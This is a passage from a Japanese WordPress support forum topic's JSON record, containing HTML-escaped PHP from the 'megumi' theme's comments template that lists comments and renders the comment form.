(function_exists(&#039;wp_list_comments&#039;)) { ?&gt;\n\t&lt;ol class=&quot;commentlist&quot;&gt;\n\t\t&lt;?php wp_list_comments(&#039;avatar_size=60&#039;); ?&gt;\n\n\t&lt;div class=&quot;navigation&quot;&gt;\n\t\t&lt;div class=&quot;alignleft&quot;&gt;&lt;?php previous_comments_link() ?&gt;&lt;\/div&gt;\n\t\t&lt;div class=&quot;alignright&quot;&gt;&lt;?php next_comments_link() ?&gt;&lt;\/div&gt;\n\t&lt;\/div&gt;\n\t\t&lt;?php } else { ?&gt;\n\t&lt;ol class=&quot;commentlist&quot;&gt;\n\t\t&lt;?php foreach ($comments as $comment) : ?&gt;\n\t\t&lt;li id=&quot;comment-&lt;?php comment_ID() ?&gt;&quot;&gt; &lt;?php echo get_avatar( $comment, 60 ); ?&gt; &lt;?php printf(__(&#039;&lt;cite&gt;%s&lt;\/cite&gt; Says:&#039;, &#039;megumi&#039;), get_comment_author_link()); ?&gt;\n\t\t&lt;?php if ($comment-&gt;comment_approved == &#039;0&#039;) : ?&gt;\n\t\t&lt;em&gt;&lt;?php _e(&#039;Your comment is awaiting moderation.&#039;, &#039;megumi&#039;); ?&gt;&lt;\/em&gt;\n\t\t&lt;?php endif; ?&gt;\n\t\t&lt;a&gt;&quot; title=&quot;&quot;&gt;&lt;?php printf(__(&#039;%1$s at %2$s&#039;, &#039;megumi&#039;), get_comment_date(__(&#039;F jS, Y&#039;, &#039;megumi&#039;)), get_comment_time()); ?&gt;&lt;\/a&gt;\n\t\t&lt;?php edit_comment_link(__(&#039;edit&#039;, &#039;megumi&#039;),&#039;\u00a0\u00a0&#039;,&#039;&#039;); ?&gt;\n\t\t&lt;?php comment_text() ?&gt;\n\n\t\t&lt;?php endforeach; \/* end for each comment *\/ ?&gt;\n\t\t&lt;?php } ?&gt;\n&lt;\/div&gt;\n &lt;?php else : \/\/ this is displayed if there are no comments so far ?&gt;\n\t&lt;?php if (&#039;open&#039; == $post-&gt;comment_status) : ?&gt;\n\t\t&lt;!-- If comments are open, but there are no comments. --&gt;\n\t &lt;?php else : \/\/ comments are closed ?&gt;\n\t\t&lt;!-- If comments are closed. --&gt;\n\t\t&lt;p class=&quot;nocomments&quot;&gt;&lt;?php _e(&#039;Comments are closed.&#039;, &#039;megumi&#039;); ?&gt;&lt;\/p&gt;\n\t&lt;?php endif; ?&gt;\n&lt;?php endif; ?&gt;\n&lt;?php if (&#039;open&#039; == $post-&gt;comment_status) : ?&gt;\n\n&lt;div id=&quot;respond&quot;&gt;\n&lt;h3 class=&quot;title&quot;&gt;&lt;?php _e(&#039;Post comment&#039;, &#039;megumi&#039;); ?&gt;&lt;\/h3&gt;\n&lt;?php if (function_exists(&#039;wp_list_comments&#039;)) { ?&gt;\n&lt;div id=&quot;cancel-comment-reply&quot;&gt;\n\t&lt;small&gt;&lt;?php cancel_comment_reply_link() ?&gt;&lt;\/small&gt;\n&lt;\/div&gt;\n&lt;?php } ?&gt;\n&lt;?php if ( get_option(&#039;comment_registration&#039;) &amp;&amp; !$user_ID ) : ?&gt;\n&lt;p&gt;&lt;?php printf(__(&#039;You must be &lt;a href=&quot;%s&quot;&gt;logged in&lt;\/a&gt; to post a comment.&#039;, &#039;megumi&#039;), get_option(&#039;siteurl&#039;) . &#039;\/wp-login.php?redirect_to=&#039; . urlencode(get_permalink())); ?&gt;&lt;\/p&gt;\n&lt;?php else : ?&gt;\n&lt;form action=&quot;&lt;?php echo get_option(&#039;siteurl&#039;); ?&gt;\/wp-comments-post.php&quot; method=&quot;post&quot; id=&quot;commentform&quot;&gt;\n&lt;?php if ( $user_ID ) : ?&gt;\n&lt;p&gt;&lt;?php printf(__(&#039;Logged in as &lt;a href=&quot;%1$s&quot;&gt;%2$s&lt;\/a&gt;.&#039;, &#039;megumi&#039;), get_option(&#039;siteurl&#039;) . &#039;\/wp-admin\/profile.php&#039;, $user_identity); ?&gt; &lt;a&gt;&quot; title=&quot;&lt;?php _e(&#039;Log out of this account&#039;, &#039;megumi&#039;); ?&gt;&quot;&gt;&lt;?php _e(&#039;Log out \u00bb&#039;, &#039;megumi&#039;); ?&gt;&lt;\/a&gt;&lt;\/p&gt;\n&lt;?php else : ?&gt;\n&lt;p&gt;&lt;label for=&quot;author&quot;&gt;&lt;input type=&quot;text&quot; name=&quot;author&quot; id=&quot;author&quot; value=&quot;&lt;?php echo $comment_author; ?&gt;&quot; size=&quot;22&quot; tabindex=&quot;1&quot; &lt;?php if ($req) echo &quot;aria-required=&#039;true&#039;&quot;; ?&gt; \/&gt;&lt;?php _e(&#039;Your name:&#039;, &#039;megumi&#039;); ?&gt; &lt;?php if ($req) _e(&quot;&lt;em&gt;(required)&lt;\/em&gt;&quot;, &quot;megumi&quot;); ?&gt;&lt;\/label&gt;&lt;\/p&gt;\n&lt;p&gt;&lt;label for=&quot;email&quot;&gt;&lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; value=&quot;&lt;?php echo esc_attr($comment_author_email); ?&gt;&quot; size=&quot;22&quot; tabindex=&quot;2&quot; &lt;?php if ($req) echo &quot;aria-required=&#039;true&#039;&quot;; ?&gt; \/&gt;&lt;?php _e(&#039;E-mail:&#039;, &#039;megumi&#039;); ?&gt;\n&lt;?php if ($req) _e(&quot;&lt;em&gt;(required)&lt;\/em&gt;&quot;, &quot;megumi&quot;); ?&gt;&lt;\/label&gt;&lt;\/p&gt;\n&lt;p&gt;&lt;label for=&quot;url&quot;&gt;&lt;input type=&quot;text&quot; name=&quot;url&quot; id=&quot;url&quot; value=&quot;&lt;?php echo $comment_author_url; ?&gt;&quot; size=&quot;22&quot; tabindex=&quot;3&quot; \/&gt;&lt;?php _e(&#039;Website&#039;, &#039;megumi&#039;); ?&gt;&lt;\/label&gt;&lt;\/p&gt;\n&lt;?php endif; ?&gt;\n&lt;p&gt;&lt;textarea name=&quot;comment&quot; id=&quot;comment&quot; cols=&quot;100%&quot; rows=&quot;10&quot; tabindex=&quot;4&quot;&gt;&lt;\/textarea&gt;&lt;\/p&gt;\n&lt;p&gt;&lt;input name=&quot;submit&quot; type=&quot;submit&quot; id=&quot;submit&quot; tabindex=&quot;5&quot; value=&quot;&lt;?php _e(&#039;Submit Comment&#039;, &#039;megumi&#039;); ?&gt;&quot; \/&gt;\n&lt;?php if (function_exists(&#039;wp_list_comments&#039;)) { ?&gt;\n&lt;?php comment_id_fields(); ?&gt;\n&lt;?php } ?&gt;\n&lt;\/p&gt;\n&lt;?php do_action(&#039;comment_form&#039;, $post-&gt;ID); ?&gt;\n&lt;\/form&gt;\n&lt;?php endif; \/\/ If registration required and not logged in ?&gt;\n&lt;\/div&gt;\n&lt;?php endif; \/\/ if you delete this the sky will fall on your head ?&gt;<\/code><\/pre>\n","protected":false},"template":"","class_list":["post-150893","topic","type-topic","status-closed","hentry"],"jetpack_sharing_enabled":true,"jetpack_likes_enabled":true,"_links":{"self":[{"href":"https:\/\/ja.wordpress.org\/support\/wp-json\/wp\/v2\/topic\/150893","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ja.wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/ja.wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":0,"href":"https:\/\/ja.wordpress.org\/support\/wp-json\/wp\/v2\/topic\/150893\/revisions"}],"wp:attachment":[{"href":"https:\/\/ja.wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=150893"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}